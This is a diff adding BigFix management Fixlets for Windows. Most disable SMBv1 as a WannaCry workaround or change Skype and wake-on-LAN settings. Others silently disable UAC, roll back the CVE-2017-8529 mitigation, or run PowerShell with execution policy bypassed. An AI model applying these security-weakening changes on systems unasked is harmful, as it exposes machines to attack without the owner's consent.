+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable SMB protocols on the SMB server - Windows 8 and Windows Server 2012</Title>
+    <Description><![CDATA[<SPAN itemprop="description">
+<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012"><FONT color=#0066cc>https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</FONT></A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P></SPAN>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2012&quot; or name of it = &quot;Win2012R2&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it = 0) of native registry</Relevance>
+    <Category>Workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 20:03:44 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Using Powershell Template https://bigfix.me/fixlet/details/3860
+
+// Disable wow64 redirection on x64 OSes
+action uses wow64 redirection {not x64 of operating system}
+
+delete __createfile
+
+//    CREATEFILE
+createfile until END_OF_FILE
+
+Set-SmbServerConfiguration -EnableSMB1Protocol $false -Force
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes
new file mode 100644
index 000000000..1f0ae4b3c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008 (24314).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008
+  ID       : 24314
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T10:54:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable SMBv1 Server - Windows 7, Windows Server 2008r2, Windows Vista, Windows Server 2008</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.</P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters&quot; whose (value &quot;SMB1&quot; of it as integer = 0) of (native registries)</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 17:28:12 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]&quot; &quot;SMB1&quot;=dword:00000000
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes
new file mode 100644
index 000000000..8a3768d0e
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 Service - Windows (23443).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable SMBv1 Service - Windows
+  ID       : 23443
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-02-14T15:28:37
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable SMBv1 Service - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating systems</Relevance>
+    <Relevance>not exists unique values whose(it contains &quot;mrxsmb10&quot;) of (it as string as lowercase) of values &quot;DependOnService&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation&quot; of (x64 registries;x32 registries)</Relevance>
+    <Relevance>exists unique values whose(it != 4) of (it as integer) of values &quot;Start&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mrxsmb10&quot; of (x64 registries;x32 registries)</Relevance>
+    <Category>Configuration</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2017-02-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 14 Feb 2017 23:27:38 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012
+waithidden sc.exe config mrxsmb10 start= disabled
+
+action requires restart &quot;SMBv1_DisableService&quot;
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes
new file mode 100644
index 000000000..60b95f631
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012 (24316).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012
+  ID       : 24316
+  Author   : brolly33
+  Domain   : BESC
+  Imported : 2017-05-15T12:10:34
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable SMBv1 protocols on the SMB client - Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, and Windows Server 2012</Title>
+    <Description><![CDATA[<P>To support WannaCry2.0 SMB workaround if you cannot apply MS17-010 patch.</P>
+<P><A href="https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012">https://support.microsoft.com/en-us/help/2696547/how-to-enable-and-disable-smbv1,-smbv2,-and-smbv3-in-windows-vista,-windows-server-2008,-windows-7,-windows-server-2008-r2,-windows-8,-and-windows-server-2012</A></P>
+<P>Recommended you apply MS17-010 using the published Fixlets.<BR></P>]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>(name of it = &quot;Win2008R2&quot; OR name of it = &quot;Win2008&quot; or name of it = &quot;Win7&quot; or name of it = &quot;WinVista&quot; or name of it = &quot;Win2012&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\LanmanWorkstation&quot; whose (exists value &quot;DependOnService&quot; whose (it as string as lowercase does not contain &quot;MRxSmb10&quot; as lowercase)of it) of native registry</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\mrxsmb10&quot; whose (value &quot;Start&quot; of it != 4) of native registry</Relevance>
+    <Category>workaround</Category>
+    <Source>brolly33</Source>
+    <SourceReleaseDate>2017-05-15</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 15 May 2017 18:54:46 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here
+wait sc.exe config lanmanworkstation depend= bowser/mrxsmb20/nsi
+wait sc.exe config mrxsmb10 start= disabled</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes
new file mode 100644
index 000000000..7d0919fd1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype Auto-update - Improved (3662).bes	
@@ -0,0 +1,52 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Skype Auto-update - Improved
+  ID       : 3662
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2013-12-04T13:45:31
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Skype Auto-update - Improved</Title>
+    <Description>The listed computers have Skype installed and configured to check for updates automatically. Deploying the action below will disable Skype auto-update. </Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[version of client >= "7"]]></Relevance>
+    <Relevance>not exists values &quot;PROCESSOR_ARCHITECTURE&quot; whose (it as string as lowercase = &quot;ia64&quot;) of keys &quot;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment&quot; of registry</Relevance>
+    <Relevance><![CDATA[/* Windows 2000 or later */ version of operating system >= "5.0" /* http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx */]]></Relevance>
+    <Relevance>/* Only relevant if skype is installed */ exists key &quot;HKLM\Software\Skype&quot; whose(exists key &quot;Phone&quot; of it AND exists value &quot;SkypePath&quot; of key &quot;Phone&quot; of it) of registry</Relevance>
+    <Relevance>/* Only relevant if skype is installed */ exists file ((value &quot;SkypePath&quot; of key &quot;Phone&quot; of it as string) of key &quot;HKLM\Software\Skype&quot; of registry)</Relevance>
+    <Relevance><![CDATA[( /* Check if updates are disabled for Skype < version 6.5 */ ((version of file (value "SkypePath" of key "Phone" of it as string) < "6.5") AND (not exist key "Phone" whose (value "DisableVersionCheck" of it = 1) of it)) OR /* Check if updates are disabled for Skype >= version 6.5 */ ((version of file (value "SkypePath" of key "Phone" of it as string) >= "6.5") AND (not exist key "Installer" whose (value "InstallUpdates" of it = 0) of it))) of key "HKLM\Software\Skype" of registry]]></Relevance>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2013-12-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Thu, 16 Feb 2012 05:41:45 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 04 Dec 2013 20:26:28 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action3939">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to disable Skype Auto-update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// http://www.updatefreezer.org/index.php?id=4
+// http://download.skype.com/share/business/guides/skype-it-administrators-guide.pdf
+// http://www.tersetechtips.com/disable-skype-forced-updates/
+
+if{((version of file (value "SkypePath" of key "Phone" of it as string)) of key "HKLM\Software\Skype" of registry) < "6.5"}
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Skype\Phone]" "DisableVersionCheck"=dword:00000001
+else
+	regset "[HKEY_LOCAL_MACHINE\SOFTWARE\Skype\Installer]" "InstallUpdates"=dword:00000000
+endif]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes
new file mode 100644
index 000000000..e8d0b34f8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Skype start with windows (727).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable Skype start with windows
+  ID       : 727
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T11:22:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable Skype start with windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
+    <Relevance>(exists keys whose (value &quot;DisplayName&quot; of it as string contains &quot;Skype&quot;) of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall&quot; of registry) AND (exists key &quot;HKLM\Software\Skype\Phone&quot; of registry)</Relevance>
+    <Relevance><![CDATA[exists (value "Skype" of key "Software\Microsoft\Windows\CurrentVersion\Run" of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) as string as lowercase)]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-05-31</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 01 Jun 2012 14:25:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regdelete "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Windows\CurrentVersion\Run")}]" "Skype"
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes
new file mode 100644
index 000000000..1c5b919e3
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Solution to CVE-2017-8529 - Windows 7 SP1 _ 8.1 _ 10 _ Windows Server 2008 SP2 _ 2008 R2 SP1 _ 2012 _ 2012 R2 _ 2016 (24650).bes	
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016
+  ID       : 24650
+  Author   : JasonL
+  Domain   : BESC
+  Imported : 2017-10-05T03:09:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Solution to CVE-2017-8529 - Windows 7 SP1 / 8.1 / 10 / Windows Server 2008 SP2 / 2008 R2 SP1 / 2012 / 2012 R2 / 2016</Title>
+    <Description><![CDATA[
+<DIV class=FixletMessage>
+<TABLE><TBODY><TR><TD> <DIV class=FixletMessage> <P>Use this Fixlet to disable solution to CVE-2017-8529.</P> </DIV></TD></TR></TBODY></TABLE>
+</DIV>
+<DIV class=FixletProperty>
+<H4>File Size:</H4>
+Unspecified
+ </DIV>
+]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Relevance>not ia64 of operating system</Relevance>
+    <Relevance>((name of it = &quot;Win2008&quot;) AND service pack major version of it = 2 OR (name of it = &quot;Win7&quot; OR name of it = &quot;Win2008R2&quot;) AND service pack major version of it = 1 OR name of it = &quot;Win8.1&quot; OR name of it = &quot;Win10&quot; OR name of it = &quot;Win2012&quot; OR name of it = &quot;Win2012R2&quot; OR name of it = &quot;Win2016&quot;) of operating system</Relevance>
+    <Relevance>exist keys &quot;FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX&quot; whose (value &quot;iexplore.exe&quot; of it as integer = 1) of keys &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl&quot; of native registry</Relevance>
+    <Relevance>not pending restart &quot;d43b4c2f9e88dcf95a8171a5d5bb90ae26776e57&quot;</Relevance>
+    <Category>Setting</Category>
+    <Source>Microsoft</Source>
+    <SourceID>Unspecified</SourceID>
+    <SourceReleaseDate>2017-09-12</SourceReleaseDate>
+    <SourceSeverity>Unspecified</SourceSeverity>
+    <CVENames>CVE-2017-8529</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-product-family</Name>
+      <Value>Windows</Value>
+    </MIMEField>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action25717">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000000
+
+if {x64 of operating system}
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_ENABLE_PRINT_INFO_DISCLOSURE_FIX]&quot; &quot;iexplore.exe&quot;=dword:00000000
+endif
+
+action requires restart &quot;d43b4c2f9e88dcf95a8171a5d5bb90ae26776e57&quot;</ActionScript>
+    </Action>
+    <Action ID="Action25718">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the Security Guidance Article for this update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8529</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes
new file mode 100644
index 000000000..1d6aa8078
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (1376).bes	
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable UAC
+  ID       : 1376
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-01-14T10:18:42
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable UAC</Title>
+    <Description><![CDATA[If you’ve used Windows&nbsp;since the release of Vista for more than 3.7 minutes, you know what UAC (User Account Control) is.. it’s the obnoxious, nagging popup window that will be your life for the next 3-5 years unless you switch back to XP in frustration, or to a better OS like… OS X, Suse, Ubuntu, or even XP.]]></Description>
+    <Relevance>(name of it = &quot;WinVista&quot; or name of it = &quot;Win7&quot; or name of it = &quot;Win8&quot;) of operating system</Relevance>
+    <Relevance>value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of registry = 1 OR value &quot;EnableLUA&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System&quot; of x64 registry = 1</Relevance>
+    <Category>Configuration</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2013-01-14</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 14 Jan 2013 15:33:10 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:0
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]&quot; &quot;EnableLUA&quot;=dword:0
+endif
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes
new file mode 100644
index 000000000..0f414265c
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable UAC (26610).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Disable UAC
+  ID       : 26610
+  Author   : 6906AC99-CFAD-4BC2-8B69-999D8150433C
+  Domain   : BESC
+  Imported : 2019-03-06T10:18:26
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Disable UAC</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>(if( name of operating system starts with &quot;Win&quot; ) then platform id of operating system != 3 else false) AND (if exists property &quot;in proxy agent context&quot; then ( not in proxy agent context ) else true )</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-03-04</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 Mar 2019 18:16:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action uses wow64 redirection false
+delete __createfile
+Createfile until END_OF_FILE
+Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
+&quot;ConsentPromptBehaviorAdmin&quot;=dword:00000000
+&quot;EnableLUA&quot;=dword:00000000
+
+END_OF_FILE
+delete uac.reg
+move __createfile uac.reg
+
+waithidden regedit /s uac.reg
+</ActionScript>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes b/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes
new file mode 100644
index 000000000..088f260eb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Disable Wake-from-Standby by Magic Packet - Windows XP_Vista_Win7_2008 and Mac OS 10.4_10.5_10.6_10.7 (310).bes	
@@ -0,0 +1,57 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Disable Wake-from-Standby by Magic Packet - Windows XP/Vista/Win7/2008 and Mac OS 10.4/10.5/10.6/10.7
+  ID       : 310
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:14:47
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Disable Wake-from-Standby by Magic Packet - Windows XP/Vista/Win7/2008 and Mac OS 10.4/10.5/10.6/10.7</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD> <P>Network adapters can be configured to wake a computer from standby if they receive a Wake-on-LAN Magic Packet.</P> <P>This Fixlet will disable the ability&nbsp;for network adapters to wake the computer from standby. </P> <P><STRONG>Note:</STRONG> This does not affect a computers ability to Wake-on-LAN from the powered off or Hibernate power state.</P> <P><STRONG>Note: </STRONG>This&nbsp;Task is not&nbsp;applicable on computers designated as&nbsp;Last Man Standing.<BR></P></TD></TR></TBODY></TABLE>
+]]></Description>
